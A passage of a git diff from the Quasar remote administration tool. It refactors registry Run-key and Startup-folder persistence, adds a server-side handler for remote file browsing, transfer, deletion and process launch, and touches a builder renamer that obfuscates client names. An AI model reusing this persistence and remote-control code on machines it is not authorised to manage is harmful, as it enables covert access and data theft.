"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true)) + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.StartupItem.Name, command.StartupItem.Path, true)) { throw new Exception("Could not add value"); } break; case 3: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true)) + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.StartupItem.Name, command.StartupItem.Path, true)) { throw new Exception("Could not add value"); } @@ -212,7 +209,7 @@ public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Client clien throw new NotSupportedException("Only on 64-bit systems supported"); if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true)) + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", command.StartupItem.Name, command.StartupItem.Path, true)) { throw new Exception("Could not add value"); } @@ -222,7 +219,7 @@ public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Client clien throw new NotSupportedException("Only on 64-bit systems supported"); if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true)) + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.StartupItem.Name, command.StartupItem.Path, true)) { throw new Exception("Could not add value"); } @@ -234,14 +231,14 @@ public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Client clien } string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), - command.Name + ".url"); + command.StartupItem.Name + ".url"); using (var writer = new StreamWriter(lnkPath, false)) { writer.WriteLine("[InternetShortcut]"); - writer.WriteLine("URL=file:///" + command.Path); + writer.WriteLine("URL=file:///" + command.StartupItem.Path); writer.WriteLine("IconIndex=0"); - writer.WriteLine("IconFile=" + command.Path.Replace('\\', '/')); + writer.WriteLine("IconFile=" + command.StartupItem.Path.Replace('\\', '/')); writer.Flush(); } break; diff --git a/Client/Core/Helper/FileHelper.cs b/Client/Core/Helper/FileHelper.cs index 4063788c8..98c67b176 100644 --- a/Client/Core/Helper/FileHelper.cs +++ b/Client/Core/Helper/FileHelper.cs @@ -1,6 +1,8 @@ using System; using System.IO; using System.Text; +using Quasar.Common.Enums; +using Quasar.Common.Utilities; using xClient.Core.Cryptography; using xClient.Core.Data; using xClient.Core.Utilities; @@ -10,13 +12,70 @@ namespace xClient.Core.Helper public static class FileHelper { private const string CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; - private static readonly Random _rnd = new Random(Environment.TickCount); + private static readonly SafeRandom Random = new SafeRandom(); + + public static ContentType GetContentType(string fileExtension) + { + switch (fileExtension.ToLower()) + { + default: + return ContentType.Blob; + case ".exe": + return ContentType.Application; + case ".txt": + case ".log": + case ".conf": + case ".cfg": + case ".asc": + return ContentType.Text; + case ".rar": + case ".zip": + case ".zipx": + case ".tar": + case ".tgz": + case ".gz": + case ".s7z": + case ".7z": + case ".bz2": + case ".cab": + case ".zz": + case ".apk": + return ContentType.Archive; + case ".doc": + case ".docx": + case ".odt": + return ContentType.Word; + case ".pdf": + return ContentType.Pdf; + case ".jpg": + case ".jpeg": + case ".png": + case ".bmp": + case ".gif": + case ".ico": + return ContentType.Image; + case ".mp4": + case ".mov": + case ".avi": + case ".wmv": + case ".mkv": + case ".m4v": + case ".flv": + return ContentType.Video; + case ".mp3": + case ".wav": + case ".pls": + case ".m3u": + case ".m4a": + return ContentType.Audio; + } + } public static string GetRandomFilename(int length, string extension = "") { StringBuilder randomName = new StringBuilder(length); for (int i = 0; i < length; i++) - randomName.Append(CHARS[_rnd.Next(CHARS.Length)]); + randomName.Append(CHARS[Random.Next(CHARS.Length)]); return string.Concat(randomName.ToString(), extension); } diff --git a/Client/Core/Helper/RegistryKeyHelper.cs b/Client/Core/Helper/RegistryKeyHelper.cs index 28ffc79fc..2b5dd93b6 100644 --- a/Client/Core/Helper/RegistryKeyHelper.cs +++ b/Client/Core/Helper/RegistryKeyHelper.cs @@ -3,7 +3,7 @@ using Microsoft.Win32; using xClient.Core.Extensions; using System.Collections.Generic; -using Quasar.Common.Registry; +using Quasar.Common.Models; namespace xClient.Core.Helper { diff --git a/Client/Core/Networking/Client.cs b/Client/Core/Networking/Client.cs index d78e1607a..9fe301044 100644 --- a/Client/Core/Networking/Client.cs +++ b/Client/Core/Networking/Client.cs @@ -270,7 +270,7 @@ protected Client() _proxyClients = new List(); _readBuffer = new byte[BUFFER_SIZE]; _tempHeader = new byte[HEADER_SIZE]; - AddTypesToSerializer(typeof(IMessage), PacketRegistery.GetPacketTypes(typeof(IMessage)).ToArray()); + AddTypesToSerializer(typeof(IMessage), PacketRegistry.GetPacketTypes(typeof(IMessage)).ToArray()); } /// diff --git a/Client/Core/Networking/QuasarClient.cs b/Client/Core/Networking/QuasarClient.cs index 5afefbe21..aeba838b5 100644 --- a/Client/Core/Networking/QuasarClient.cs +++ b/Client/Core/Networking/QuasarClient.cs @@ -3,6 +3,7 @@ using System.Threading; using System.Windows.Forms; using Quasar.Common.Messages; +using Quasar.Common.Utilities; using xClient.Config; using xClient.Core.Commands; using xClient.Core.Data; @@ -18,10 +19,12 @@ public class QuasarClient : Client public static bool Exiting { get; private set; } public bool Authenticated { get; private set; } private readonly HostsManager _hosts; + private readonly SafeRandom _random; public QuasarClient(HostsManager hostsManager) : base() { this._hosts = hostsManager; + this._random = new SafeRandom(); base.ClientState += OnClientState; base.ClientRead += OnClientRead; base.ClientFail += OnClientFail; @@ -33,7 +36,7 @@ public void Connect() { if (!Connected) { - Thread.Sleep(100 + new Random().Next(0, 250)); + Thread.Sleep(100 + _random.Next(0, 250)); Host host = _hosts.GetNextHost(); @@ -56,7 +59,7 @@ public void Connect() return; } - Thread.Sleep(Settings.RECONNECTDELAY + new Random().Next(250, 750)); + Thread.Sleep(Settings.RECONNECTDELAY + _random.Next(250, 750)); } } diff --git a/Client/Core/Registry/RegistryEditor.cs b/Client/Core/Registry/RegistryEditor.cs index 394bf8200..09d804338 100644 --- a/Client/Core/Registry/RegistryEditor.cs +++ b/Client/Core/Registry/RegistryEditor.cs @@ -3,7 +3,7 @@ using System.Collections.Generic; using System.Linq; using System.Text; -using Quasar.Common.Registry; +using Quasar.Common.Models; using xClient.Core.Extensions; using xClient.Core.Helper; diff --git a/Client/Core/Registry/RegistrySeeker.cs b/Client/Core/Registry/RegistrySeeker.cs index d01e65f62..6669ba5f3 100644 --- a/Client/Core/Registry/RegistrySeeker.cs +++ b/Client/Core/Registry/RegistrySeeker.cs @@ -1,7 +1,7 @@ using Microsoft.Win32; -using Quasar.Common.Registry; using System; using System.Collections.Generic; +using Quasar.Common.Models; using xClient.Core.Extensions; using xClient.Core.Helper; diff --git a/Client/Properties/AssemblyInfo.cs b/Client/Properties/AssemblyInfo.cs index d2416d60f..da78b3804 100644 --- a/Client/Properties/AssemblyInfo.cs +++ b/Client/Properties/AssemblyInfo.cs @@ -5,12 +5,12 @@ // Allgemeine Informationen über eine Assembly werden über die folgenden // Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, // die mit einer Assembly verknüpft sind. -[assembly: AssemblyTitle("")] +[assembly: AssemblyTitle("Quasar Client")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyCopyright("")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2018")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] [assembly: InternalsVisibleTo("Client.Tests")] diff --git a/Quasar.Common/Enums/ContentType.cs b/Quasar.Common/Enums/ContentType.cs new file mode 100644 index 000000000..77825129f --- /dev/null +++ b/Quasar.Common/Enums/ContentType.cs @@ -0,0 +1,16 @@ +namespace Quasar.Common.Enums +{ + public enum ContentType + { + // these values must match the index of the images in file manager + Blob = 2, + Application = 3, + Text = 4, + Archive = 5, + Word = 6, + Pdf = 7, + Image = 8, + Video = 9, + Audio = 10 + } +} diff --git a/Quasar.Common/Enums/PathType.cs b/Quasar.Common/Enums/FileType.cs similarity index 79% rename from Quasar.Common/Enums/PathType.cs rename to Quasar.Common/Enums/FileType.cs index 42a984334..be4b0857e 100644 --- a/Quasar.Common/Enums/PathType.cs +++ b/Quasar.Common/Enums/FileType.cs @@ -1,6 +1,6 @@ namespace Quasar.Common.Enums { - public enum PathType + public enum FileType { File, Directory, diff --git a/Quasar.Common/Messages/DoChangeRegistryValue.cs b/Quasar.Common/Messages/DoChangeRegistryValue.cs index f6caa9af0..6d8715ea3 100644 --- a/Quasar.Common/Messages/DoChangeRegistryValue.cs +++ b/Quasar.Common/Messages/DoChangeRegistryValue.cs @@ -1,5 +1,5 @@ using ProtoBuf; -using Quasar.Common.Registry; +using Quasar.Common.Models; namespace Quasar.Common.Messages { diff --git a/Quasar.Common/Messages/DoPathDelete.cs b/Quasar.Common/Messages/DoPathDelete.cs index c21e7d99d..9e3ade8eb 100644 --- a/Quasar.Common/Messages/DoPathDelete.cs +++ b/Quasar.Common/Messages/DoPathDelete.cs @@ -10,6 +10,6 @@ public class DoPathDelete : IMessage public string Path { get; set; } [ProtoMember(2)] - public PathType PathType { get; set; } + public FileType PathType { get; set; } } } diff --git a/Quasar.Common/Messages/DoPathRename.cs b/Quasar.Common/Messages/DoPathRename.cs index bc438cbe6..bc54b568a 100644 --- a/Quasar.Common/Messages/DoPathRename.cs +++ b/Quasar.Common/Messages/DoPathRename.cs @@ -13,6 +13,6 @@ public class DoPathRename : IMessage public string NewPath { get; set; } [ProtoMember(3)] - public PathType PathType { get; set; } + public FileType PathType { get; set; } } } diff --git a/Quasar.Common/Messages/DoStartupItemAdd.cs b/Quasar.Common/Messages/DoStartupItemAdd.cs index b2881a8c0..b60db23ae 100644 --- a/Quasar.Common/Messages/DoStartupItemAdd.cs +++ b/Quasar.Common/Messages/DoStartupItemAdd.cs @@ -1,4 +1,5 @@ using ProtoBuf; +using Quasar.Common.Models; namespace Quasar.Common.Messages { @@ -6,12 +7,6 @@ namespace Quasar.Common.Messages public class DoStartupItemAdd : IMessage { [ProtoMember(1)] - public string Name { get; set; } - - [ProtoMember(2)] - public string Path { get; set; } - - [ProtoMember(3)] - public int Type { get; set; } + public StartupItem StartupItem { get; set; } } } diff --git a/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs b/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs index 46a93b32c..ec55283a8 100644 --- a/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs +++ b/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs @@ -1,5 +1,5 @@ using ProtoBuf; -using Quasar.Common.Registry; +using Quasar.Common.Models; namespace Quasar.Common.Messages { diff --git a/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs b/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs index cca4e35cb..e94f08664 100644 --- a/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs +++ b/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs @@ -1,5 +1,5 @@ using ProtoBuf; -using Quasar.Common.Registry; +using Quasar.Common.Models; namespace Quasar.Common.Messages { diff --git a/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs b/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs index 1acc35856..7c9f1105a 100644 --- a/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs +++ b/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs @@ -1,5 +1,5 @@ using ProtoBuf; -using Quasar.Common.Registry; +using Quasar.Common.Models; namespace Quasar.Common.Messages { diff --git a/Quasar.Common/Messages/GetDirectoryResponse.cs b/Quasar.Common/Messages/GetDirectoryResponse.cs index 585a5ee2e..4cff9efae 100644 --- a/Quasar.Common/Messages/GetDirectoryResponse.cs +++ b/Quasar.Common/Messages/GetDirectoryResponse.cs @@ -1,4 +1,5 @@ using ProtoBuf; +using Quasar.Common.Models; namespace Quasar.Common.Messages { @@ -6,12 +7,9 @@ namespace Quasar.Common.Messages public class GetDirectoryResponse : IMessage { [ProtoMember(1)] - public string[] Files { get; set; } + public string RemotePath { get; set; } [ProtoMember(2)] - public string[] Folders { get; set; } - - [ProtoMember(3)] - public long[] FilesSize { get; set; } + public FileSystemEntry[] Items { get; set; } } } diff --git a/Quasar.Common/Messages/GetDrivesResponse.cs b/Quasar.Common/Messages/GetDrivesResponse.cs index 6b4f7d5db..efe3ae6a9 100644 --- a/Quasar.Common/Messages/GetDrivesResponse.cs +++ b/Quasar.Common/Messages/GetDrivesResponse.cs @@ -1,4 +1,5 @@ using ProtoBuf; +using Quasar.Common.Models; namespace Quasar.Common.Messages { @@ -6,9 +7,6 @@ namespace Quasar.Common.Messages public class GetDrivesResponse : IMessage { [ProtoMember(1)] - public string[] DriveDisplayName { get; set; } - - [ProtoMember(2)] - public string[] RootDirectory { get; set; } + public Drive[] Drives { get; set; } } } diff --git a/Quasar.Common/Messages/GetRegistryKeysResponse.cs b/Quasar.Common/Messages/GetRegistryKeysResponse.cs index f8b66f936..485b35681 100644 --- a/Quasar.Common/Messages/GetRegistryKeysResponse.cs +++ b/Quasar.Common/Messages/GetRegistryKeysResponse.cs @@ -1,5 +1,5 @@ using ProtoBuf; -using Quasar.Common.Registry; +using Quasar.Common.Models; namespace Quasar.Common.Messages { diff --git a/Quasar.Common/Messages/MessageHandler.cs b/Quasar.Common/Messages/MessageHandler.cs index 7d469a551..be3304a46 100644 --- a/Quasar.Common/Messages/MessageHandler.cs +++ b/Quasar.Common/Messages/MessageHandler.cs @@ -4,28 +4,48 @@ namespace Quasar.Common.Messages { + /// + /// Handles registration of s and processing of s. + /// public static class MessageHandler { + /// + /// Unordered thread-safe list of registered s. + /// private static readonly ConcurrentBag Processors = new ConcurrentBag(); - public static void Register(IMessageProcessor cmd) + /// + /// Registers a to the available . + /// + /// The to register. + public static void Register(IMessageProcessor proc) { - if (Processors.Contains(cmd)) return; - Processors.Add(cmd); + if (Processors.Contains(proc)) return; + Processors.Add(proc); } - public static void Unregister(IMessageProcessor cmd) + /// + /// Unregisters a from the available . + /// + /// + public static void Unregister(IMessageProcessor proc) { - if (!Processors.Contains(cmd)) return; - Processors.TryTake(out cmd); + if (!Processors.Contains(proc)) return; + Processors.TryTake(out proc); } - public static void Process(ISender sender, IMessage cmd) + /// + /// Forwards the received to the appropriate s to execute it. + /// + /// The sender of the message. + /// The received message. + public static void Process(ISender sender, IMessage msg) { - var availableExecutors = Processors.Where(x => x.CanExecute(cmd) && x.CanExecuteFrom(sender)); + // select appropriate message processors + var availableExecutors = Processors.Where(x => x.CanExecute(msg) && x.CanExecuteFrom(sender)); foreach (var executor in availableExecutors) - executor.Execute(sender, cmd); + executor.Execute(sender, msg); } } } diff --git a/Quasar.Common/Messages/PacketRegistery.cs b/Quasar.Common/Messages/PacketRegistry.cs similarity index 99% rename from Quasar.Common/Messages/PacketRegistery.cs rename to Quasar.Common/Messages/PacketRegistry.cs index 730af2b19..cb5929f04 100644 --- a/Quasar.Common/Messages/PacketRegistery.cs +++ b/Quasar.Common/Messages/PacketRegistry.cs @@ -4,7 +4,7 @@ namespace Quasar.Common.Messages { - public class PacketRegistery + public class PacketRegistry { public static IEnumerable GetPacketTypes(Type type) { diff --git a/Quasar.Common/Models/Drive.cs b/Quasar.Common/Models/Drive.cs new file mode 100644 index 000000000..dfae29ffc --- /dev/null +++ b/Quasar.Common/Models/Drive.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class Drive + { + [ProtoMember(1)] + public string DisplayName { get; set; } + + [ProtoMember(2)] + public string RootDirectory { get; set; } + } +} diff --git a/Quasar.Common/Models/FileSystemEntry.cs b/Quasar.Common/Models/FileSystemEntry.cs new file mode 100644 index 000000000..216a77f14 --- /dev/null +++ b/Quasar.Common/Models/FileSystemEntry.cs @@ -0,0 +1,25 @@ +using System; +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class FileSystemEntry + { + [ProtoMember(1)] + public FileType EntryType { get; set; } + + [ProtoMember(2)] + public string Name { get; set; } + + [ProtoMember(3)] + public long Size { get; set; } + + [ProtoMember(4)] + public DateTime LastAccessTimeUtc { get; set; } + + [ProtoMember(5)] + public ContentType? ContentType { get; set; } + } +} diff --git a/Quasar.Common/Registry/RegSeekerMatch.cs b/Quasar.Common/Models/RegSeekerMatch.cs similarity index 92% rename from Quasar.Common/Registry/RegSeekerMatch.cs rename to Quasar.Common/Models/RegSeekerMatch.cs index d6d9cee1f..3ea4bf575 100644 --- a/Quasar.Common/Registry/RegSeekerMatch.cs +++ b/Quasar.Common/Models/RegSeekerMatch.cs @@ -1,6 +1,6 @@ using ProtoBuf; -namespace Quasar.Common.Registry +namespace Quasar.Common.Models { [ProtoContract] public class RegSeekerMatch diff --git a/Quasar.Common/Registry/RegValueData.cs b/Quasar.Common/Models/RegValueData.cs similarity index 93% rename from Quasar.Common/Registry/RegValueData.cs rename to Quasar.Common/Models/RegValueData.cs index e9e74294d..22009e883 100644 --- a/Quasar.Common/Registry/RegValueData.cs +++ b/Quasar.Common/Models/RegValueData.cs @@ -1,7 +1,7 @@ using Microsoft.Win32; using ProtoBuf; -namespace Quasar.Common.Registry +namespace Quasar.Common.Models { [ProtoContract] public class RegValueData diff --git a/Quasar.Common/Models/StartupItem.cs b/Quasar.Common/Models/StartupItem.cs new file mode 100644 index 000000000..7ec5434f4 --- /dev/null +++ b/Quasar.Common/Models/StartupItem.cs @@ -0,0 +1,18 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class StartupItem + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public string Path { get; set; } + + [ProtoMember(3)] + public int Type { get; set; } + // TODO: Change to Enum + } +} diff --git a/Quasar.Common/Properties/AssemblyInfo.cs b/Quasar.Common/Properties/AssemblyInfo.cs index 95a8928cd..4f56867a5 100644 --- a/Quasar.Common/Properties/AssemblyInfo.cs +++ b/Quasar.Common/Properties/AssemblyInfo.cs @@ -5,12 +5,12 @@ // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. -[assembly: AssemblyTitle("Quasar.Common")] +[assembly: AssemblyTitle("Quasar Common")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("Quasar.Common")] -[assembly: AssemblyCopyright("Copyright © 2018")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2018")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] @@ -32,5 +32,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.3.0.0")] +[assembly: AssemblyFileVersion("1.3.0.0")] diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj index 465befa35..38ed87038 100644 --- a/Quasar.Common/Quasar.Common.csproj +++ b/Quasar.Common/Quasar.Common.csproj @@ -45,14 +45,18 @@ + + - + + + @@ -81,7 +85,7 @@ - + @@ -134,8 +138,9 @@ - - + + + @@ -143,5 +148,6 @@ + \ No newline at end of file diff --git a/Quasar.Common/Utilities/SafeRandom.cs b/Quasar.Common/Utilities/SafeRandom.cs new file mode 100644 index 000000000..4e9dc1bf9 --- /dev/null +++ b/Quasar.Common/Utilities/SafeRandom.cs @@ -0,0 +1,54 @@ +using System; +using System.Security.Cryptography; + +namespace Quasar.Common.Utilities +{ + /// + /// Thread-safe random number generator. + /// Has same API as System.Random but is thread safe, similar to the implementation by Steven Toub: http://blogs.msdn.com/b/pfxteam/archive/2014/10/20/9434171.aspx + /// + public class SafeRandom + { + private static readonly RandomNumberGenerator GlobalCryptoProvider = RandomNumberGenerator.Create(); + + [ThreadStatic] + private static Random _random; + + private static Random GetRandom() + { + if (_random == null) + { + byte[] buffer = new byte[4]; + GlobalCryptoProvider.GetBytes(buffer); + _random = new Random(BitConverter.ToInt32(buffer, 0)); + } + + return _random; + } + + public int Next() + { + return GetRandom().Next(); + } + + public int Next(int maxValue) + { + return GetRandom().Next(maxValue); + } + + public int Next(int minValue, int maxValue) + { + return GetRandom().Next(minValue, maxValue); + } + + public void NextBytes(byte[] buffer) + { + GetRandom().NextBytes(buffer); + } + + public double NextDouble() + { + return GetRandom().NextDouble(); + } + } +} diff --git a/Server.Tests/Properties/AssemblyInfo.cs b/Server.Tests/Properties/AssemblyInfo.cs index a0abbb3f5..1cc4e2b5d 100644 --- a/Server.Tests/Properties/AssemblyInfo.cs +++ b/Server.Tests/Properties/AssemblyInfo.cs @@ -5,12 +5,12 @@ // Allgemeine Informationen über eine Assembly werden über folgende // Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, // die einer Assembly zugeordnet sind. -[assembly: AssemblyTitle("Server.Tests")] +[assembly: AssemblyTitle("Quasar Server Tests")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("Server.Tests")] -[assembly: AssemblyCopyright("Copyright © 2016")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2018")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] @@ -32,5 +32,5 @@ // Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern // durch Einsatz von '*', wie in nachfolgendem Beispiel: // [Assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.3.0.0")] +[assembly: AssemblyFileVersion("1.3.0.0")] diff --git a/Server/Controls/ListViewEx.cs b/Server/Controls/ListViewEx.cs index 81c11714b..d316e94f7 100644 --- a/Server/Controls/ListViewEx.cs +++ b/Server/Controls/ListViewEx.cs @@ -75,7 +75,8 @@ protected override void OnColumnClick(ColumnClickEventArgs e) } // Perform the sort with these new sort options. - this.Sort(); + if (!this.VirtualMode) + this.Sort(); } } } \ No newline at end of file diff --git a/Server/Controls/RegistryValueLstItem.cs b/Server/Controls/RegistryValueLstItem.cs index ebd93531c..6b5e82a85 100644 --- a/Server/Controls/RegistryValueLstItem.cs +++ b/Server/Controls/RegistryValueLstItem.cs @@ -4,7 +4,7 @@ using System.Linq; using System.Text; using System.Windows.Forms; -using Quasar.Common.Registry; +using Quasar.Common.Models; using xServer.Core.Extensions; using xServer.Core.Registry; diff --git a/Server/Core/Build/Renamer.cs b/Server/Core/Build/Renamer.cs index c459e6906..ba4d4dda4 100644 --- a/Server/Core/Build/Renamer.cs +++ b/Server/Core/Build/Renamer.cs @@ -3,6 +3,7 @@ using System.Linq; using System.Text; using Mono.Cecil; +using Quasar.Common.Utilities; namespace xServer.Core.Build { @@ -118,8 +119,9 @@ private class MemberOverloader { private bool DoRandom { get; set; } private int StartingLength { get; set; } - private Dictionary _renamedMembers = new Dictionary(); + private readonly Dictionary _renamedMembers = new Dictionary(); private readonly char[] _charMap; + private readonly SafeRandom _random = new SafeRandom(); private int[] _indices; public MemberOverloader(int startingLength, bool doRandom = true) @@ -158,7 +160,7 @@ private string GetRandomName() for (int i = 0; i < StartingLength; i++) { - builder.Append((char) new Random(Guid.NewGuid().GetHashCode()).Next(int.MinValue, int.MaxValue)); + builder.Append((char)_random.Next(int.MinValue, int.MaxValue)); } return builder.ToString(); diff --git a/Server/Core/Commands/CommandHandler.cs b/Server/Core/Commands/CommandHandler.cs index d4a5f0aae..a2792b95a 100644 --- a/Server/Core/Commands/CommandHandler.cs +++ b/Server/Core/Commands/CommandHandler.cs @@ -1,12 +1,8 @@ -using System.Collections.Generic; - -namespace xServer.Core.Commands +namespace xServer.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN VARIABLES NECESSARY FOR VARIOUS COMMANDS (if needed). */ public static partial class CommandHandler { - public static Dictionary CanceledDownloads = new Dictionary(); - public static Dictionary RenamedFiles = new Dictionary(); private const string DELIMITER = "$E$"; } } \ No newline at end of file diff --git a/Server/Core/Commands/FileManagerHandler.cs b/Server/Core/Commands/FileManagerHandler.cs new file mode 100644 index 000000000..9299f6118 --- /dev/null +++ b/Server/Core/Commands/FileManagerHandler.cs @@ -0,0 +1,356 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Threading; +using xServer.Core.Helper; +using xServer.Core.Networking; +using xServer.Core.Utilities; +using xServer.Enums; +using xServer.Models; + +namespace xServer.Core.Commands +{ + public class FileManagerHandler : MessageProcessorBase + { + public delegate void DrivesChangedEventHandler(object sender, Drive[] drives); + public delegate void DirectoryChangedEventHandler(object sender, string remotePath, FileSystemEntry[] items); + public delegate void FileTransferUpdatedEventHandler(object sender, FileTransfer transfer); + + public event DrivesChangedEventHandler DrivesChanged; + public event DirectoryChangedEventHandler DirectoryChanged; + public event FileTransferUpdatedEventHandler FileTransferUpdated; + + private void OnDrivesChanged(Drive[] drives) + { + SynchronizationContext.Post(d => + { + var handler = DrivesChanged; + handler?.Invoke(this, (Drive[])d); + }, drives); + } + + private void OnDirectoryChanged(string remotePath, FileSystemEntry[] items) + { + SynchronizationContext.Post(i => + { + var handler = DirectoryChanged; + handler?.Invoke(this, remotePath, (FileSystemEntry[])i); + }, items); + } + + private void OnFileTransferUpdated(FileTransfer transfer) + { + SynchronizationContext.Post(t => + { + var handler = FileTransferUpdated; + handler?.Invoke(this, (FileTransfer)t); + }, transfer); + } + + private readonly List _activeTransfers; + + /// + /// Used in lock statements to synchronize access between UI thread and thread pool. + /// + private readonly object _syncLock = new object(); + + /// + /// The client which is associated with this file manager handler. + /// + private readonly Client _client; + + private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file uploads + + private readonly string _baseDownloadPath; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public FileManagerHandler(Client client) : base(true) + { + _client = client; + _activeTransfers = new List(); + _baseDownloadPath = client.Value.DownloadDirectory; + } + + /// + public override bool CanExecute(IMessage message) => message is DoDownloadFileResponse || + message is GetDrivesResponse || + message is GetDirectoryResponse || + message is SetStatusFileManager; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoDownloadFileResponse file: + Execute(sender, file); + break; + case GetDrivesResponse drive: + Execute(sender, drive); + break; + case GetDirectoryResponse directory: + Execute(sender, directory); + break; + case SetStatusFileManager status: + Execute(sender, status); + break; + } + } + + public void BeginDownloadFile(string remotePath) + { + int id = GetUniqueFileTransferId(); + _client.Send(new DoDownloadFile {RemotePath = remotePath, Id = id}); + } + + public void BeginUploadFile(string localPath, string remotePath) + { + new Thread(() => + { + int id = GetUniqueFileTransferId(); + + FileTransfer transfer = new FileTransfer + { + Id = id, + Type = TransferType.Upload, + LocalPath = localPath, + RemotePath = remotePath, + Status = "Pending..." + }; + + _activeTransfers.Add(transfer); + + FileSplit srcFile = new FileSplit(localPath); + if (srcFile.MaxBlocks < 0) + { + transfer.Status = "Error reading file"; + OnFileTransferUpdated(transfer); + return; + } + + // TODO: change to real size + transfer.Size = srcFile.MaxBlocks; + OnFileTransferUpdated(transfer); + + _limitThreads.WaitOne(); + for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) + { + decimal progress = + Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2); + + transfer.TransferredSize = currentBlock + 1; + transfer.Status = $"Uploading...({progress}%)"; + OnFileTransferUpdated(transfer); + + if (_activeTransfers.Count(f => f.Id == transfer.Id) == 0) + { + transfer.Status = "Canceled"; + OnFileTransferUpdated(transfer); + _limitThreads.Release(); + return; + } + + if (srcFile.ReadBlock(currentBlock, out var block)) + { + // blocking sending might not be required, needs further testing + _client.SendBlocking(new DoUploadFile + { + Id = id, + RemotePath = remotePath, + Block = block, + MaxBlocks = srcFile.MaxBlocks, + CurrentBlock = currentBlock + }); + } + else + { + transfer.Status = "Error reading file"; + OnFileTransferUpdated(transfer); + _limitThreads.Release(); + return; + } + } + _limitThreads.Release(); + + transfer.Status = "Completed"; + OnFileTransferUpdated(transfer); + }).Start(); + } + + public void CancelFileTransfer(int transferId) + { + _client.Send(new DoDownloadFileCancel {Id = transferId}); + _activeTransfers.RemoveAll(s => s.Id == transferId); + } + + public void RenameFile(string remotePath, string newPath, FileType type) + { + _client.Send(new DoPathRename + { + Path = remotePath, + NewPath = newPath, + PathType = type + }); + } + + public void DeleteFile(string remotePath, FileType type) + { + _client.Send(new DoPathDelete {Path = remotePath, PathType = type}); + } + + public void StartProcess(string remotePath) + { + _client.Send(new DoProcessStart {ApplicationName = remotePath}); + } + + public void AddToStartup(StartupItem item) + { + _client.Send(new DoStartupItemAdd {StartupItem = item}); + } + + public void RequestDirectoryContents(string remotePath) + { + _client.Send(new GetDirectory {RemotePath = remotePath}); + } + + public void RequestDrives() + { + _client.Send(new GetDrives()); + } + + private void Execute(ISender client, 